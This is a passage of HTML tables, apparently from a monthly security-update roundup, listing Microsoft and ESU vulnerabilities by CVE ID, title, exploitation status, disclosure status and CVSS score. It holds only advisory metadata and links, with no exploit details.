href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62871">CVE-2026-62871</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62886">CVE-2026-62886</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62872">CVE-2026-62872</a></td><td><p>.NET Framework Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65810">CVE-2026-65810</a></td><td><p>.NET Framework Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62897">CVE-2026-62897</a></td><td><p>.NET Framework Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62900">CVE-2026-62900</a></td><td><p>.NET Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62902">CVE-2026-62902</a></td><td><p>.NET Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62899">CVE-2026-62899</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65675">CVE-2026-65675</a></td><td><p>CoPilot Chat Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70335">CVE-2026-70335</a></td><td><p>GitHub Copilot and Visual Studio Code Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70337">CVE-2026-70337</a></td><td><p>Microsoft PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70338">CVE-2026-70338</a></td><td><p>Microsoft PowerShell Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62898">CVE-2026-62898</a></td><td><p>Microsoft QUIC Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59119">CVE-2026-59119</a></td><td><p>PowerShell Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58612">CVE-2026-58612</a></td><td><p>PowerShell Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47285">CVE-2026-47285</a></td><td><p>Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54981">CVE-2026-54981</a></td><td><p>Visual Studio Code Python Extension Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59113">CVE-2026-59113</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-69320">CVE-2026-69320</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70336">CVE-2026-70336</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58650">CVE-2026-58650</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-69278">CVE-2026-69278</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-69306">CVE-2026-69306</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr></tbody></table><p></p><p></p><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59130">CVE-2026-59130</a></td><td><p>AMD Zen Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59131">CVE-2026-59131</a></td><td><p>AMD Zen Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62892">CVE-2026-62892</a></td><td><p>Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65786">CVE-2026-65786</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65787">CVE-2026-65787</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59136">CVE-2026-59136</a></td><td><p>Microsoft COM for Windows Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62698">CVE-2026-62698</a></td><td><p>Microsoft Digest Authentication Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62912">CVE-2026-62912</a></td><td><p>Microsoft Exchange Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62910">CVE-2026-62910</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65813">CVE-2026-65813</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62911">CVE-2026-62911</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62913">CVE-2026-62913</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62915">CVE-2026-62915</a></td><td><p>Microsoft Exchange Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62914">CVE-2026-62914</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62784">CVE-2026-62784</a></td><td><p>Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59138">CVE-2026-59138</a></td><td><p>Microsoft Remote Registry Service Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61345">CVE-2026-61345</a></td><td><p>Microsoft Remote Registry Service Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66804">CVE-2026-66804</a></td><td><p>Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59135">CVE-2026-59135</a></td><td><p>Microsoft Windows Search Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65814">CVE-2026-65814</a></td><td><p>Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6726">CVE-2026-6726</a></td><td><p>MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6727">CVE-2026-6727</a></td><td><p>MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65671">CVE-2026-65671</a></td><td><p>Remote Access API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42976">CVE-2026-42976</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59134">CVE-2026-59134</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61352">CVE-2026-61352</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61363">CVE-2026-61363</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62824">CVE-2026-62824</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54113">CVE-2026-54113</a></td><td><p>Remote Procedure Call Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62781">CVE-2026-62781</a></td><td><p>RPC Runtime Library Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59125">CVE-2026-59125</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62746">CVE-2026-62746</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62743">CVE-2026-62743</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62786">CVE-2026-62786</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61358">CVE-2026-61358</a></td><td><p>Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62818">CVE-2026-62818</a></td><td><p>Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49179">CVE-2026-49179</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61348">CVE-2026-61348</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68820">CVE-2026-68820</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70307">CVE-2026-70307</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62908">CVE-2026-62908</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62713">CVE-2026-62713</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62771">CVE-2026-62771</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62728">CVE-2026-62728</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61936">CVE-2026-61936</a></td><td><p>Windows Defender Firewall Service Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62893">CVE-2026-62893</a></td><td><p>Windows Deployment Services TFTP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62747">CVE-2026-62747</a></td><td><p>Windows Device Association Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62710">CVE-2026-62710</a></td><td><p>Windows Device Association Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62755">CVE-2026-62755</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62812">CVE-2026-62812</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62761">CVE-2026-62761</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62776">CVE-2026-62776</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62803">CVE-2026-62803</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62807">CVE-2026-62807</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62718">CVE-2026-62718</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62715">CVE-2026-62715</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62716">CVE-2026-62716</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62742">CVE-2026-62742</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62745">CVE-2026-62745</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62720">CVE-2026-62720</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62714">CVE-2026-62714</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62814">CVE-2026-62814</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62823">CVE-2026-62823</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61923">CVE-2026-61923</a></td><td><p>Windows Display Enhancement Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70304">CVE-2026-70304</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70330">CVE-2026-70330</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62769">CVE-2026-62769</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62778">CVE-2026-62778</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62881">CVE-2026-62881</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62883">CVE-2026-62883</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65795">CVE-2026-65795</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65797">CVE-2026-65797</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65799">CVE-2026-65799</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65798">CVE-2026-65798</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62787">CVE-2026-62787</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62817">CVE-2026-62817</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62878">CVE-2026-62878</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61920">CVE-2026-61920</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61932">CVE-2026-61932</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62894">CVE-2026-62894</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62888">CVE-2026-62888</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62703">CVE-2026-62703</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59128">CVE-2026-59128</a></td><td><p>Windows Encrypting File System (EFS) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59126">CVE-2026-59126</a></td><td><p>Windows Event Logging Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59137">CVE-2026-59137</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61347">CVE-2026-61347</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65662">CVE-2026-65662</a></td><td><p>Windows GDI Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a 